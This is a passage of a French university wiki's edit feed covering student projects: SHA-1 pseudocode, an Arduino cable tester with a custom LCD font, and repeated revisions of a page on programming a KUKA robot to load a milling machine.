        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un CiscoChecker permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
&lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX.&lt;br /&gt;
&lt;br /&gt;
Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=22799</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=22799"/>
				<updated>2015-11-08T14:09:13Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Semaine du 2 au 6 novembre 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'un interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépose sur le support d’ajustement (2) &lt;br /&gt;
*Dépose sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépose sur le support de retournement (4) &lt;br /&gt;
*Dépose sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépose sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter l'ébavurage pour nettoyer le centre de fraisage entre chaque pièce (la buse est déjà présente sur le Kuka) ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:TestAttachPrehenseur.pdf&amp;diff=22798</id>
		<title>Fichier:TestAttachPrehenseur.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:TestAttachPrehenseur.pdf&amp;diff=22798"/>
				<updated>2015-11-08T14:08:23Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : Test d'attachement et de détachement de préhenseur.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Test d'attachement et de détachement de préhenseur.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=22797</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=22797"/>
				<updated>2015-11-08T14:05:13Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Semaine du 19 au 23 octobre 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'un interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépose sur le support d’ajustement (2) &lt;br /&gt;
*Dépose sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépose sur le support de retournement (4) &lt;br /&gt;
*Dépose sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépose sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter l'ébavurage pour nettoyer le centre de fraisage entre chaque pièce (la buse est déjà présente sur le Kuka) ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:TestTrajectoire.pdf&amp;diff=22796</id>
		<title>Fichier:TestTrajectoire.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:TestTrajectoire.pdf&amp;diff=22796"/>
				<updated>2015-11-08T14:02:20Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : Premier test de réalisation de trajectoire avec un environnement grossier sur KUKA Sim Pro.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Premier test de réalisation de trajectoire avec un environnement grossier sur KUKA Sim Pro.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=22795</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=22795"/>
				<updated>2015-11-08T13:56:18Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Semaine du 2 au 6 novembre 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'un interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépose sur le support d’ajustement (2) &lt;br /&gt;
*Dépose sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépose sur le support de retournement (4) &lt;br /&gt;
*Dépose sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépose sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter l'ébavurage pour nettoyer le centre de fraisage entre chaque pièce (la buse est déjà présente sur le Kuka) ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=21851</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=21851"/>
				<updated>2015-10-07T12:23:06Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'un interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépose sur le support d’ajustement (2) &lt;br /&gt;
*Dépose sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépose sur le support de retournement (4) &lt;br /&gt;
*Dépose sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépose sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter l'ébavurage pour nettoyer le centre de fraisage entre chaque pièce (la buse est déjà présente sur le Kuka) ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=21793</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=21793"/>
				<updated>2015-10-05T15:24:39Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
